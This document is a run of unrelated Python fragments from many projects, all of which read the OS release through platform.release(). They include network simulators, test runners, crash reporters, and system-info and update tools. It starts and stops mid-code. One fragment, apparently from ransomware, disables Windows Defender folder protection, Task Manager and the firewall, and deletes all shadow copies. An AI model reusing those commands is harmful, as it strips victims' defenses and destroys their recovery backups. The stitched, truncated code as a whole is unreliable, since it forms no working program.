== 'global-mem': # cweId.append('?') #elif tag == 'value-constraint': # cweId.append('?') #elif tag == 'precondition': # cweId.append('?') bug = \ { "BugGroup": po.status, "BugCode": tag, "BugMessage": po.explanation, #"BugSeverity": None, #"ResolutionSuggestion": None, "AssessmentReportFile": capp.path + "/", "BuildId": "1.0", #"InstanceLocation": #{ # "Xpath": None, # "LineNum": # { # "Start": None, # "End": None # } #}, "CweIds": cweId, #"ClassName": None, #"Methods": None, "BugLocations": [ { "SourceFile": po.location.get_file(), "StartLine": str(po.location.get_line()), "EndLine": str(po.location.get_line()), "StartColumn": str(po.location.get_byte()), "EndColumn": str(po.location.get_byte()), "primary": "true", "Explanation": po.location.__str__() } ] } errors = sw.CheckBug(bug) for error in errors: print error if not errors: sw.AddBugInstance(bug) sw.AddSummary() sw.AddEndTag() sw.Close()
def start(self): if self.fakenet_config.get('diverttraffic') and self.fakenet_config[ 'diverttraffic'].lower() == 'yes': if (('networkmode' not in self.diverter_config) or (self.diverter_config['networkmode'].lower() not in ['singlehost', 'multihost', 'auto'])): self.logger.error( 'Error: You must configure a NetworkMode for Diverter, either SingleHost, MultiHost, or Auto' ) sys.exit(1) # Select platform specific diverter platform_name = platform.system() ip_addrs = dict() ip_addrs[4] = get_ips([4]) # Get IPv4 addrs ip_addrs[6] = get_ips([6]) # Get IPv6 addrs if platform_name == 'Windows': # Check Windows version if platform.release() in [ '2000', 'XP', '2003Server', 'post2003' ]: self.logger.error( 'Error: FakeNet-NG only supports Windows Vista+.') self.logger.error( ' Please use the original Fakenet for older versions of Windows.' ) sys.exit(1) if self.diverter_config['networkmode'].lower() == 'auto': self.diverter_config['networkmode'] = 'singlehost' from diverters.windows import Diverter self.diverter = Diverter(self.diverter_config, self.listeners_config, ip_addrs, self.logging_level) elif platform_name.lower().startswith('linux'): if self.diverter_config['networkmode'].lower() == 'auto': self.diverter_config['networkmode'] = 'multihost' from diverters.linux import Diverter self.diverter = Diverter(self.diverter_config, self.listeners_config, ip_addrs, self.logging_level) else: self.logger.error( 'Error: Your system %s is currently not supported.' % (platform_name)) sys.exit(1) # Start all of the listeners for listener_name in self.listeners_config: listener_config = self.listeners_config[listener_name] # Anonymous listener if not 'listener' in listener_config: self.logger.info('Anonymous %s listener on %s port %s...', listener_name, listener_config['protocol'], listener_config['port']) continue # Get a specific provider for the listener name try: listener_module = getattr(listeners, listener_config['listener']) listener_provider = getattr(listener_module, listener_config['listener']) except AttributeError as e: self.logger.error('Listener %s is not implemented.', listener_config['listener']) self.logger.error("%s" % e) else: listener_provider_instance = listener_provider( listener_config, listener_name, self.logging_level) # Store listener provider object self.running_listener_providers.append( listener_provider_instance) try: listener_provider_instance.start() except Exception, e: self.logger.error('Error starting %s listener on port %s:', listener_config['listener'], listener_config['port']) self.logger.error(" %s" % e)
def get_freebsd_version(): return platform.release().split("-")[0]
#!/usr/bin/python import platform print platform.system() ############################################################################ msg_title = 'Hello my Friend' msg_body = 'Here is the message' # Detect Windows version if platform.system() == 'Windows': # Windows 10 if platform.release() == '10': from win10toast import ToastNotifier toaster = ToastNotifier() toaster.show_toast(msg_title, msg_body, icon_path='custom.ico', duration=10) toaster.show_toast(msg_title, msg_body) # Window 8 if platform.release() == '8.0': from plyer import notification notification.notify(title=msg_title, message=msg_body, app_name='Here is the application name', app_icon='path/to/the/icon.png') if platform.system() == 'Linux': import gi
def _configure_system(): import os import platform import sys """Wraps system configuration to avoid 'leaking' variables into ray.""" # MUST add pickle5 to the import path because it will be imported by some # raylet modules. if "pickle5" in sys.modules: import pkg_resources try: version_info = pkg_resources.require("pickle5") version = tuple(int(n) for n in version_info[0].version.split(".")) if version < (0, 0, 10): raise ImportError("You are using an old version of pickle5 " "that leaks memory, please run " "'pip install pickle5 -U' to upgrade") except pkg_resources.DistributionNotFound: logger.warning("You are using the 'pickle5' module, but " "the exact version is unknown (possibly carried as " "an internal component by another module). Please " "make sure you are using pickle5 >= 0.0.10 because " "previous versions may leak memory.") # Check that grpc can actually be imported on Apple Silicon. Some package # managers (such as `pip`) can't properly install the grpcio library yet, # so provide a proactive error message if that's the case. if platform.system() == "Darwin" and platform.machine() == "arm64": try: import grpc # noqa: F401 except ImportError: raise ImportError( "Failed to import grpc on Apple Silicon. On Apple" " Silicon machines, try `pip uninstall grpcio; conda " "install grpcio`. Check out " "https://docs.ray.io/en/master/installation.html" "#apple-silicon-support for more details.") if "OMP_NUM_THREADS" not in os.environ: logger.debug("[ray] Forcing OMP_NUM_THREADS=1 to avoid performance " "degradation with many workers (issue #6998). You can " "override this by explicitly setting OMP_NUM_THREADS.") os.environ["OMP_NUM_THREADS"] = "1" # Add the directory containing pickle5 to the Python path so that we find # the pickle5 version packaged with ray and not a pre-existing pickle5. pickle5_path = os.path.join(os.path.abspath(os.path.dirname(__file__)), "pickle5_files") sys.path.insert(0, pickle5_path) # Importing psutil & setproctitle. Must be before ray._raylet is # initialized. thirdparty_files = os.path.join(os.path.abspath(os.path.dirname(__file__)), "thirdparty_files") sys.path.insert(0, thirdparty_files) if sys.platform == "win32": import ray._private.compat # noqa: E402 ray._private.compat.patch_redis_empty_recv() if (platform.system() == "Linux" and "Microsoft".lower() in platform.release().lower()): import ray._private.compat # noqa: E402 ray._private.compat.patch_psutil() # Expose ray ABI symbols which may be dependent by other shared # libraries such as _streaming.so. See BUILD.bazel:_raylet python_shared_lib_suffix = ".so" if sys.platform != "win32" else ".pyd" so_path = os.path.join(os.path.dirname(__file__), "_raylet" + python_shared_lib_suffix) if os.path.exists(so_path): import ctypes from ctypes import CDLL CDLL(so_path, ctypes.RTLD_GLOBAL)
def run_test(self, test, testtype): if not self.httpd: print "starting httpd" self.start_httpd() if not self.marionette: self.start_marionette() filepath = os.path.abspath(test) if os.path.isdir(filepath): for root, dirs, files in os.walk(filepath): for filename in files: if ((filename.startswith('test_') or filename.startswith('browser_')) and (filename.endswith('.py') or filename.endswith('.js'))): filepath = os.path.join(root, filename) self.run_test(filepath, testtype) return mod_name, file_ext = os.path.splitext(os.path.split(filepath)[-1]) testloader = unittest.TestLoader() suite = unittest.TestSuite() if file_ext == '.ini': testargs = {'skip': 'false'} if testtype is not None: testtypes = testtype.replace('+', ' +').replace('-', ' -').split() for atype in testtypes: if atype.startswith('+'): testargs.update({atype[1:]: 'true'}) elif atype.startswith('-'): testargs.update({atype[1:]: 'false'}) else: testargs.update({atype: 'true'}) manifest = TestManifest() manifest.read(filepath) if options.perf: if options.perfserv is None: options.perfserv = manifest.get("perfserv")[0] machine_name = socket.gethostname() try: manifest.has_key("machine_name") machine_name = manifest.get("machine_name")[0] except: self.logger.info("Using machine_name: %s" % machine_name) os_name = platform.system() os_version = platform.release() self.perfrequest = datazilla.DatazillaRequest( server=options.perfserv, machine_name=machine_name, os=os_name, os_version=os_version, platform=manifest.get("platform")[0], build_name=manifest.get("build_name")[0], version=manifest.get("version")[0], revision=self.revision, branch=manifest.get("branch")[0], id=os.getenv('BUILD_ID'), test_date=int(time.time())) manifest_tests = manifest.get(**testargs) for i in manifest_tests: self.run_test(i["path"], testtype) return self.logger.info('TEST-START %s' % os.path.basename(test)) if file_ext == '.py': test_mod = imp.load_source(mod_name, filepath) for name in dir(test_mod): obj = getattr(test_mod, name) if (isinstance(obj, (type, types.ClassType)) and issubclass(obj, unittest.TestCase)): testnames = testloader.getTestCaseNames(obj) for testname in testnames: suite.addTest( obj(weakref.ref(self.marionette), methodName=testname)) elif file_ext == '.js': suite.addTest( MarionetteJSTestCase(weakref.ref(self.marionette), jsFile=filepath)) if suite.countTestCases(): results = MarionetteTextTestRunner(verbosity=3).run(suite) self.results.append(results) self.failed += len(results.failures) + len(results.errors) if results.perfdata and options.perf: self.perfrequest.add_datazilla_result(results.perfdata) if hasattr(results, 'skipped'): self.todo += len(results.skipped) + len( results.expectedFailures) self.passed += results.passed for failure in results.failures + results.errors: self.failures.append((results.getInfo(failure[0]), failure[1], 'TEST-UNEXPECTED-FAIL')) if hasattr(results, 'unexpectedSuccess'): self.failed += len(results.unexpectedSuccesses) for failure in results.unexpectedSuccesses: self.failures.append((results.getInfo(failure[0]), failure[1], 'TEST-UNEXPECTED-PASS'))
def get_macos_ver(self): return platform.release()
def system_information(): """ Report system versions. """ # Late import so that when getting called from setup.py does not break from distro import linux_distribution def system_version(): """ Return host system version. """ lin_ver = linux_distribution() mac_ver = platform.mac_ver() win_ver = platform.win32_ver() if lin_ver[0]: return " ".join(lin_ver) elif mac_ver[0]: if isinstance(mac_ver[1], (tuple, list)) and "".join(mac_ver[1]): return " ".join([mac_ver[0], ".".join(mac_ver[1]), mac_ver[2]]) else: return " ".join([mac_ver[0], mac_ver[2]]) elif win_ver[0]: return " ".join(win_ver) else: return "" if platform.win32_ver()[0]: # Get the version and release info based on the Windows Operating # System Product Name. As long as Microsoft maintains a similar format # this should be future proof import win32api # pylint: disable=3rd-party-module-not-gated import win32con # pylint: disable=3rd-party-module-not-gated # Get the product name from the registry hkey = win32con.HKEY_LOCAL_MACHINE key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" value_name = "ProductName" reg_handle = win32api.RegOpenKey(hkey, key) # Returns a tuple of (product_name, value_type) product_name, _ = win32api.RegQueryValueEx(reg_handle, value_name) version = "Unknown" release = "" if "Server" in product_name: for item in product_name.split(" "): # If it's all digits, then it's version if re.match(r"\d+", item): version = item # If it starts with R and then numbers, it's the release # ie: R2 if re.match(r"^R\d+$", item): release = item release = "{0}Server{1}".format(version, release) else: for item in product_name.split(" "): # If it's a number, decimal number, Thin or Vista, then it's the # version if re.match(r"^(\d+(\.\d+)?)|Thin|Vista$", item): version = item release = version _, ver, service_pack, extra = platform.win32_ver() version = " ".join([release, ver, service_pack, extra]) else: version = system_version() release = platform.release() system = [ ("system", platform.system()), ("dist", " ".join(linux_distribution(full_distribution_name=False))), ("release", release), ("machine", platform.machine()), ("version", version), ("locale", __salt_system_encoding__), ] for name, attr in system: yield name, attr continue
import socket import platform s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("", 50007)) s.listen(5) print "Program Komunikasi Tentang Server" data = '' while data.lower() != 'quit': komm, addr = s.accept() while data.lower() != 'quit': data = komm.recv(1024) print "Command: ", data if data.lower() == "machine": respon = platform.machine() komm.send(respon) elif data.lower() == "release": respon = platform.release() komm.send(respon) elif data.lower() == "system": respon = platform.system() komm.send(respon) elif data.lower() == "version": respon = platform.version() komm.send(respon) elif data.lower() == "node": respon = platform.node() komm.send(respon) else: komm.send("unknown command")
full_path = os.path.realpath(__file__) #Gaining Admin Access def UAC(): try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False if UAC(): try: # Bypass Windows 10 Anti Ransomware if platform.release() == "10": subprocess.call( 'powershell.exe -command "& {Set-MpPreference -EnableControlledFolderAccess Disabled}"', startupinfo=startupInfo) else: pass # Disable Task Manager subprocess.call( r'REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f' ) #Disable Firewall subprocess.call('NetSh Advfirewall set allprofiles state off') # Remove User System Restor Point subprocess.call('vssadmin delete shadows /all ', startupinfo=vss) # Add Program to Task manager
PYX = 0 LINUX = platform.startswith("linux") OPENBSD = platform.startswith("openbsd") FREEBSD = "freebsd" in platform NETBSD = platform.startswith("netbsd") DARWIN = platform.startswith("darwin") SOLARIS = platform.startswith("sunos") WINDOWS = platform.startswith("win32") BSD = DARWIN or FREEBSD or OPENBSD or NETBSD # See https://docs.python.org/3/library/platform.html#cross-platform IS_64BITS = maxsize > 2**32 if WINDOWS: try: if float(platform_lib.release()) >= 8.1: LOOPBACK_NAME = "Microsoft KM-TEST Loopback Adapter" else: LOOPBACK_NAME = "Microsoft Loopback Adapter" except ValueError: LOOPBACK_NAME = "Microsoft Loopback Adapter" # Will be different on Windows LOOPBACK_INTERFACE = None else: uname = os.uname() LOOPBACK_NAME = "lo" if LINUX else "lo0" LOOPBACK_INTERFACE = LOOPBACK_NAME def parent_function(): return inspect.getouterframes(inspect.currentframe())
class TestQubesFwupdHeads(unittest.TestCase): def setUp(self): if os.path.exists(QUBES_FWUPDMGR_REPO): self.qfwupd = imp.load_source( "qubes_fwupdmgr", QUBES_FWUPDMGR_REPO ) elif os.path.exists(QUBES_FWUPDMGR_BINDIR): self.qfwupd = imp.load_source( "qubes_fwupdmgr", QUBES_FWUPDMGR_BINDIR ) self.q = qf_heads.FwupdHeads() self.maxDiff = 2000 self.captured_output = io.StringIO() sys.stdout = self.captured_output @unittest.skipUnless('qubes' in platform.release(), "Requires Qubes OS") def test_get_hwids(self): self.q._check_fwupdtool_version() self.q._get_hwids() self.assertNotEqual(self.q.dom0_hwids_info, "") def test_gather_firmware_version_empty(self): self.q.dom0_hwids_info = "" return_code = self.q._gather_firmware_version() self.assertEqual(return_code, 2) def test_gather_firmware_version(self): self.q.dom0_hwids_info = "BiosVersion: CBET4000 0.2.2 heads" self.q._gather_firmware_version() self.assertEqual(self.q.heads_version, "0.2.2") @unittest.skipUnless('qubes' in platform.release(), "Requires Qubes OS") def test_parse_metadata(self): qmgr = self.qfwupd.QubesFwupdmgr() qmgr.metadata_file = CUSTOM_METADATA.replace( "https://fwupd.org/downloads", self.qfwupd.FWUPD_DOM0_METADATA_DIR ) qmgr._download_metadata(metadata_url=CUSTOM_METADATA) self.q._parse_metadata(qmgr.metadata_file) self.assertTrue(self.q.metadata_info) def test_check_heads_updates_default_heads(self): self.q.metadata_info = HEADS_XML self.q.heads_version = "heads" return_code = self.q._parse_heads_updates("x230") self.assertEqual(return_code, 0) self.assertEqual( self.q.heads_update_url, "https://fwupd.org/downloads/e747a435bf24fd6081b77b6704b39cec5fa2dcf62e0ca6b86d8a6460121a1d07-heads_coreboot_x230-v0_2_3.cab" ) self.assertEqual( self.q.heads_update_sha, "1a54e69ca2b58d1218035115d481480eaf4c66e4" ) self.assertEqual( self.q.heads_update_version, "0.2.3" ) def test_check_heads_updates_no_updates(self): self.q.metadata_info = HEADS_XML self.q.heads_version = "0.2.3" return_code = self.q._parse_heads_updates("x230") self.assertEqual(return_code, 2) def test_check_heads_updates_lower_version(self): self.q.metadata_info = HEADS_XML self.q.heads_version = "0.2.2" return_code = self.q._parse_heads_updates("x230") self.assertEqual(return_code, 0) self.assertEqual( self.q.heads_update_url, "https://fwupd.org/downloads/e747a435bf24fd6081b77b6704b39cec5fa2dcf62e0ca6b86d8a6460121a1d07-heads_coreboot_x230-v0_2_3.cab" ) self.assertEqual( self.q.heads_update_sha, "1a54e69ca2b58d1218035115d481480eaf4c66e4" ) self.assertEqual( self.q.heads_update_version, "0.2.3" ) @unittest.skipUnless('qubes' in platform.release(), "Requires Qubes OS") def test_copy_heads_firmware(self): qmgr = self.qfwupd.QubesFwupdmgr() self.q.heads_update_url = "https://fwupd.org/downloads/e747a435bf24fd6081b77b6704b39cec5fa2dcf62e0ca6b86d8a6460121a1d07-heads_coreboot_x230-v0_2_3.cab" self.q.heads_update_sha = "1a54e69ca2b58d1218035115d481480eaf4c66e4" self.q.heads_update_version = "0.2.3" qmgr._download_firmware_updates( self.q.heads_update_url, self.q.heads_update_sha ) heads_boot_path = os.path.join( qf_heads.HEADS_UPDATES_DIR, self.q.heads_update_version ) if os.path.exists(heads_boot_path): shutil.rmtree(heads_boot_path) ret_code = self.q._copy_heads_firmware(qmgr.arch_path) self.assertNotEqual(ret_code, self.qfwupd.EXIT_CODES["NO_UPDATES"]) firmware_path = os.path.join(heads_boot_path, "firmware.rom") self.assertTrue(os.path.exists(firmware_path))
# cygwin enabled machines. if (sys.platform.startswith('win') or sys.platform.startswith('cygwin')): import ntpath as cpath else: import posixpath as cpath # This is a workaround for buggy Python 2.7.x and Windows 7. # A console window would pop up every time popen is invoked unless shell=true. # Original issue was described at http://reviews.reviewboard.org/r/3804/ # Note: # - later versions of Windows may probably be impacted too # - Python 2.7.x is the only one known to get this issue import platform if (sys.version_info[:2] == (2, 7) and platform.system() == "Windows" and platform.release() == "7"): _popen_shell = True else: _popen_shell = False class ClearCaseTool(SCMTool): name = 'ClearCase' uses_atomic_revisions = False supports_authentication = False field_help_text = { 'path': 'The absolute path to the VOB.', } dependencies = { 'executables': ['cleartool'], }
def start(test=False): app_constants.APP_RESTART_CODE = -123456789 if os.name == 'posix': main_path = os.path.dirname(os.path.realpath(__file__)) log_path = os.path.join(main_path, 'happypanda.log') debug_log_path = os.path.join(main_path, 'happypanda_debug.log') else: log_path = 'happypanda.log' debug_log_path = 'happypanda_debug.log' if os.path.exists('cacert.pem'): os.environ["REQUESTS_CA_BUNDLE"] = os.path.join( os.getcwd(), "cacert.pem") parser = argparse.ArgumentParser( prog='Happypanda', description='A manga/doujinshi manager with tagging support') parser.add_argument( '-d', '--debug', action='store_true', help='happypanda_debug_log.log will be created in main directory') parser.add_argument( '-t', '--test', action='store_true', help='Run happypanda in test mode. 5000 gallery will be preadded in DB.' ) parser.add_argument('-v', '--version', action='version', version='Happypanda v{}'.format(app_constants.vs)) parser.add_argument('-e', '--exceptions', action='store_true', help='Disable custom excepthook') parser.add_argument('-x', '--dev', action='store_true', help='Development Switch') args = parser.parse_args() log_handlers = [] log_level = logging.INFO if args.dev: log_handlers.append(logging.StreamHandler()) if args.debug: print("happypanda_debug.log created at {}".format(os.getcwd())) # create log try: with open(debug_log_path, 'x') as f: pass except FileExistsError: pass log_handlers.append( logging.FileHandler('happypanda_debug.log', 'w', 'utf-8')) log_level = logging.DEBUG app_constants.DEBUG = True else: try: with open(log_path, 'x') as f: pass except FileExistsError: pass log_handlers.append( logging.handlers.RotatingFileHandler(log_path, maxBytes=1000000 * 10, encoding='utf-8', backupCount=2)) logging.basicConfig( level=log_level, format='%(asctime)-8s %(levelname)-6s %(name)-6s %(message)s', datefmt='%d-%m %H:%M', handlers=tuple(log_handlers)) log = logging.getLogger(__name__) log_i = log.info log_d = log.debug log_w = log.warning log_e = log.error log_c = log.critical if not args.exceptions: def uncaught_exceptions(ex_type, ex, tb): log_c(''.join(traceback.format_tb(tb))) log_c('{}: {}'.format(ex_type, ex)) traceback.print_exception(ex_type, ex, tb) sys.excepthook = uncaught_exceptions if app_constants.FORCE_HIGH_DPI_SUPPORT: log_i("Enabling high DPI display support") os.environ.putenv("QT_DEVICE_PIXEL_RATIO", "auto") effects = [ Qt.UI_AnimateCombo, Qt.UI_FadeMenu, Qt.UI_AnimateMenu, Qt.UI_AnimateTooltip, Qt.UI_FadeTooltip ] for effect in effects: QApplication.setEffectEnabled(effect) application = QApplication(sys.argv) application.setOrganizationName('Pewpews') application.setOrganizationDomain('https://github.com/Pewpews/happypanda') application.setApplicationName('Happypanda') application.setApplicationDisplayName('Happypanda') application.setApplicationVersion('v{}'.format(app_constants.vs)) application.setAttribute(Qt.AA_UseHighDpiPixmaps) log_i('Starting Happypanda...'.format(app_constants.vs)) if args.debug: log_i('Running in debug mode'.format(app_constants.vs)) import pprint sys.displayhook = pprint.pprint log_i('Happypanda Version {}'.format(app_constants.vs)) log_i('OS: {} {}\n'.format(platform.system(), platform.release())) conn = None try: if args.test: conn = db.init_db(True) else: conn = db.init_db() log_d('Init DB Conn: OK') log_i("DB Version: {}".format(db_constants.REAL_DB_VERSION)) except: log_c('Invalid database') log.exception('Database connection failed!') from PyQt5.QtGui import QIcon from PyQt5.QtWidgets import QMessageBox msg_box = QMessageBox() msg_box.setWindowIcon(QIcon(app_constants.APP_ICO_PATH)) msg_box.setText('Invalid database') msg_box.setInformativeText("Do you want to create a new database?") msg_box.setIcon(QMessageBox.Critical) msg_box.setStandardButtons(QMessageBox.Yes | QMessageBox.No) msg_box.setDefaultButton(QMessageBox.Yes) if msg_box.exec() == QMessageBox.Yes: pass else: application.exit() log_d('Normal Exit App: OK') sys.exit() def start_main_window(conn): db.DBBase._DB_CONN = conn #if args.test: # import threading, time # ser_list = [] # for x in range(5000): # s = gallerydb.gallery() # s.profile = app_constants.NO_IMAGE_PATH # s.title = 'Test {}'.format(x) # s.artist = 'Author {}'.format(x) # s.path = app_constants.static_dir # s.type = 'Test' # s.language = 'English' # s.info = 'I am number {}'.format(x) # ser_list.append(s) # done = False # thread_list = [] # i = 0 # while not done: # try: # if threading.active_count() > 5000: # thread_list = [] # done = True # else: # thread_list.append( # threading.Thread(target=gallerydb.galleryDB.add_gallery, # args=(ser_list[i],))) # thread_list[i].start() # i += 1 # print(i) # print('Threads running: {}'.format(threading.activeCount())) # except IndexError: # done = True WINDOW = app.AppWindow(args.exceptions) # styling d_style = app_constants.default_stylesheet_path u_style = app_constants.user_stylesheet_path if len(u_style) is not 0: try: style_file = QFile(u_style) log_i('Select userstyle: OK') except: style_file = QFile(d_style) log_i('Select defaultstyle: OK') else: style_file = QFile(d_style) log_i('Select defaultstyle: OK') style_file.open(QFile.ReadOnly) style = str(style_file.readAll(), 'utf-8') application.setStyleSheet(style) try: os.mkdir(app_constants.temp_dir) except FileExistsError: try: for root, dirs, files in scandir.walk('temp', topdown=False): for name in files: os.remove(os.path.join(root, name)) for name in dirs: os.rmdir(os.path.join(root, name)) except: log.exception("Empty temp: FAIL") log_d('Create temp: OK') if test: return application, WINDOW return application.exec_() def db_upgrade(): log_d('Database connection failed') from PyQt5.QtGui import QIcon from PyQt5.QtWidgets import QMessageBox msg_box = QMessageBox() msg_box.setWindowIcon(QIcon(app_constants.APP_ICO_PATH)) msg_box.setText('Incompatible database!') msg_box.setInformativeText( "Do you want to upgrade to newest version?" + " It shouldn't take more than a second. Don't start a new instance!" ) msg_box.setIcon(QMessageBox.Critical) msg_box.setStandardButtons(QMessageBox.Yes | QMessageBox.No) msg_box.setDefaultButton(QMessageBox.Yes) if msg_box.exec() == QMessageBox.Yes: utils.backup_database() import threading db_p = db_constants.DB_PATH db.add_db_revisions(db_p) conn = db.init_db() return start_main_window(conn) else: application.exit() log_d('Normal Exit App: OK') return 0 if conn: return start_main_window(conn) else: return db_upgrade()
def is_onl(): if 'OpenNetworkLinux' in platform.release(): print('Platform info {}'.format(platform.version())) return True return False
def run(args, input_lines=None): """Collect the list of packages and send the update to the DebMonitor server. Arguments: args (argparse.Namespace): the parsed CLI parameters. Raises: RuntimeError, requests.exceptions.RequestException: on error. """ hostname = socket.getfqdn() if args.upgradable or args.dpkg_hook: upgrade_type = 'partial' else: upgrade_type = 'full' if args.dpkg_hook: packages = parse_dpkg_hook(input_lines) else: packages = get_packages(upgradable_only=args.upgradable) if sum(len(i) for i in packages.values()) == 0: # No packages to report return payload = { 'api_version': args.api, 'os': lsb_release.get_distro_information().get('ID', 'unknown'), 'hostname': hostname, 'running_kernel': { 'release': platform.release(), 'version': platform.version(), }, 'installed': packages['installed'], 'uninstalled': packages['uninstalled'], 'upgradable': packages['upgradable'], 'update_type': upgrade_type, } if args.dry_run: print(json.dumps(payload, sort_keys=True, indent=4)) return base_url = 'https://{server}:{port}'.format(server=args.server, port=args.port) url = '{base_url}/hosts/{host}/update'.format(base_url=base_url, host=hostname) cert = None if args.key is not None: cert = (args.cert, args.key) elif args.cert is not None: cert = args.cert response = requests.post(url, cert=cert, json=payload) if response.status_code != requests.status_codes.codes.created: raise RuntimeError('Failed to send the update to the DebMonitor server: {status} {body}'.format( status=response.status_code, body=response.text)) logger.info('Successfully sent the %s update to the DebMonitor server', upgrade_type) if args.update: try: self_update(base_url, cert) except Exception as e: logger.error('Unable to self-update this script: %s', e)
if kind != "final": version += kind[0] + str(info.serial) return version # Support for 508's implementation_version. if hasattr(sys, "implementation"): implementation_version = format_full_version(sys.implementation.version) else: implementation_version = "0" # Default to cpython for 2.7. if hasattr(sys, "implementation"): implementation_name = sys.implementation.name else: implementation_name = "cpython" lookup = { "os_name": os.name, "sys_platform": sys.platform, "platform_machine": platform.machine(), "platform_python_implementation": platform.python_implementation(), "platform_release": platform.release(), "platform_system": platform.system(), "platform_version": platform.version(), "python_version": platform.python_version()[:3], "python_full_version": platform.python_version(), "implementation_name": implementation_name, "implementation_version": implementation_version, } if __name__ == "__main__": print(json.dumps(lookup))
def get_distribution_NetBSD(self): netbsd_facts = {} # FIXME: poking at self.facts, should eventually make these each a collector platform_release = platform.release() netbsd_facts['distribution_major_version'] = platform_release.split('.')[0] return netbsd_facts
def __init__(self): # We don't want sentry making noise if an error is caught when you don't have internet sentry_errors = logging.getLogger('sentry.errors') sentry_errors.disabled = True sentry_uncaught = logging.getLogger('sentry.errors.uncaught') sentry_uncaught.disabled = True if SENTRY_SDK_AVAILABLE: cacert = None if hasattr(sys, "frozen"): cacert_resource = get_resource("cacert.pem") if cacert_resource is not None and os.path.isfile( cacert_resource): cacert = cacert_resource else: log.error( "The SSL certificate bundle file '{}' could not be found" .format(cacert_resource)) # Don't send log records as events. sentry_logging = LoggingIntegration(level=logging.INFO, event_level=None) sentry_sdk.init(dsn=CrashReport.DSN, release=__version__, ca_certs=cacert, integrations=[sentry_logging]) tags = { "os:name": platform.system(), "os:release": platform.release(), "os:win_32": " ".join(platform.win32_ver()), "os:mac": "{} {}".format(platform.mac_ver()[0], platform.mac_ver()[2]), "os:linux": " ".join(distro.linux_distribution()), } with sentry_sdk.configure_scope() as scope: for key, value in tags.items(): scope.set_tag(key, value) extra_context = { "python:version": "{}.{}.{}".format(sys.version_info[0], sys.version_info[1], sys.version_info[2]), "python:bit": struct.calcsize("P") * 8, "python:encoding": sys.getdefaultencoding(), "python:frozen": "{}".format(hasattr(sys, "frozen")) } if sys.platform.startswith("linux") and not hasattr(sys, "frozen"): # add locale information try: language, encoding = locale.getlocale() extra_context["locale:language"] = language extra_context["locale:encoding"] = encoding except ValueError: pass # add GNS3 VM version if it exists home = os.path.expanduser("~") gns3vm_version = os.path.join(home, ".config", "GNS3", "gns3vm_version") if os.path.isfile(gns3vm_version): try: with open(gns3vm_version) as fd: extra_context["gns3vm:version"] = fd.readline( ).strip() except OSError: pass with sentry_sdk.configure_scope() as scope: for key, value in extra_context.items(): scope.set_extra(key, value)
def write_conditions(): versions = OrderedDict() # CPU with open('/proc/cpuinfo') as f: versions['CPU'] = re.search(r'^model name\s+: (.+)$', f.read(), flags=re.MULTILINE).group(1) # RAM with open('/proc/meminfo') as f: versions['RAM'] = re.search(r'^MemTotal:\s+(.+)$', f.read(), flags=re.MULTILINE).group(1) versions.update(( ('Disk', get_disk_model_for_path(DATA_PATH)), )) # OS linux_dist = ' '.join(platform.linux_distribution()).strip() if linux_dist: versions['Linux distribution'] = linux_dist else: versions['OS'] = platform.system() + ' ' + platform.release() versions.update(( ('Python', platform.python_version()), ('Django', django.__version__), ('cachalot', cachalot.__version__), ('sqlite', sqlite3.sqlite_version), )) # PostgreSQL with connections['postgresql'].cursor() as cursor: cursor.execute('SELECT version();') versions['PostgreSQL'] = re.match(r'^PostgreSQL ([\d\.]+) on .+$', cursor.fetchone()[0]).group(1) # MySQL with connections['mysql'].cursor() as cursor: cursor.execute('SELECT version();') versions['MySQL'] = cursor.fetchone()[0].split('-')[0] # Redis out = force_text( check_output(['redis-cli', 'INFO', 'server'])).replace('\r', '') versions['Redis'] = re.search(r'^redis_version:([\d\.]+)$', out, flags=re.MULTILINE).group(1) # memcached out = force_text(check_output(['memcached', '-h'])) versions['memcached'] = re.match(r'^memcached ([\d\.]+)$', out, flags=re.MULTILINE).group(1) versions.update(( ('psycopg2', psycopg2.__version__.split()[0]), ('mysqlclient', _mysql.__version__), )) with io.open(os.path.join('benchmark', 'conditions.rst'), 'w') as f: f.write('In this benchmark, a small database is generated, ' 'and each test is executed %s times ' 'under the following conditions:\n\n' % Benchmark.n) def write_table_sep(char='='): f.write((char * 20) + ' ' + (char * 50) + '\n') write_table_sep() for k, v in versions.items(): f.write(k.ljust(20) + ' ' + v + '\n') write_table_sep()
def getKernelRelease(self): return platform.release()
def get_aix_version(): try: ret = check_output_runner("oslevel").strip() return Version(ret) except Exception: return Version("%s.%s" % (platform.version(), platform.release()))
import knowit from medusa.logger.adapters.style import BraceAdapter from medusa.recompiled import tags from medusa.search import PROPER_SEARCH from six import text_type, viewitems log = BraceAdapter(logging.getLogger(__name__)) log.logger.addHandler(logging.NullHandler()) INSTANCE_ID = text_type(uuid.uuid1()) VERSION = '0.5.29' USER_AGENT = 'Medusa/{version} ({system}; {release}; {instance})'.format( version=VERSION, system=platform.system(), release=platform.release(), instance=INSTANCE_ID) cpu_presets = { 'HIGH': 5, 'NORMAL': 2, 'LOW': 1, 'DISABLED': 0 } privacy_levels = { 'absurd': 9002, 'stupid': 9001, # it's over 9000! 'max': 9000, 'high': 30, 'normal': 20,
def test_release(self): res = platform.release()
def find_changes(self): # Reopen the cache to reflect any updates self.cache.open(None) self.cache.upgrade(self.settings.get_boolean("dist-upgrade")) changes = self.cache.get_changes() self.updates = {} # Package updates for pkg in changes: if (pkg.is_installed and pkg.marked_upgrade and pkg.candidate.version != pkg.installed.version): self.add_update(pkg) # Kernel updates try: if self.settings.get_boolean("kernel-updates-are-visible"): # Get the uname version uname_kernel = KernelVersion(platform.release()) # Get the recommended version if 'linux-image-generic' in self.cache: recommended_kernel = KernelVersion( self.cache['linux-image-generic'].candidate.version) if (uname_kernel.numeric_representation <= recommended_kernel.numeric_representation): for pkgname in [ 'linux-headers-VERSION', 'linux-headers-VERSION-generic', 'linux-image-VERSION-generic', 'linux-image-extra-VERSION-generic' ]: pkgname = pkgname.replace( 'VERSION', recommended_kernel.std_version) if pkgname in self.cache: pkg = self.cache[pkgname] if not pkg.is_installed: self.add_update(pkg, kernel_update=True) return # We're using a series which is more recent than the recommended one, check the HWE kernel first if 'linux-image-generic-hwe-16.04' in self.cache: recommended_kernel = KernelVersion( self.cache['linux-image-generic-hwe-16.04'].candidate. version) if (uname_kernel.numeric_representation <= recommended_kernel.numeric_representation): for pkgname in [ 'linux-headers-VERSION', 